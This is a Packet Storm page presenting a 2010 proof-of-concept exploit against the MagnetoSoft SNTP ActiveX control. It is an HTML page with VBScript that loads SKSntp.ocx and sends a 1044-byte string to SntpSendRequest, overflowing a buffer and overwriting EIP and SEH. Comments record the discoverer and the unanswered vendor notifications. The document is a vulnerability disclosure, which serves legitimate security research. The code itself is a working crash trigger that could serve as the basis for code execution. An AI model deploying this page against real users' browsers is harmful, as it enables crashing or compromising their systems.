MagnetoSoft SNTP Active-X SntpSendRequest crash proof of concept exploit.
5311a9ce78e75f88dcbf4f17e5d9b1d70a1169b6165efb10f08d7eff61bccaea<html>
<object classid='clsid:A3010B66-C229-11D5-B7BA-00C0F02DFC67' id='target' /></object>
<script language='vbscript'>
'Magneto Software SNTP ActiveX SntpSendRequest BOF POC
'Discovered by: s4squatch
'Site: www.securestate.com
'www: http://www.magnetosoft.com/products/sksntp/sksntp_features.htm
'Download: http://www.magnetosoft.com/downloads/sksntp_setup.exe
'Vendor Notified: 02/02/10 --> NO RESPONSE
'Vendor Notified: 02/11/10 --> NO RESPONSE
'Vendor Notified: 02/17/10 --> NO RESPONSE
'Published 04/13/10
'File Name = SKSntp.ocx
'www: http://www.magnetosoft.com/products/sksntp/sksntp_features.htm
'Download: http://www.magnetosoft.com/downloads/sksntp_setup.exe
'Function SntpSendRequest ( ByVal bstrSntpServer As String , ByVal bSynchronizeClock As Integer ) As Long
'memberName = "SntpSendRequest"
'progid = "SKSNTPLib.SKSntp"
'1044 overwrites EIP, ESP, ECX, EBP, SEH
buff = String(1044, "A")
target.SntpSendRequest buff ,1
</script>
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed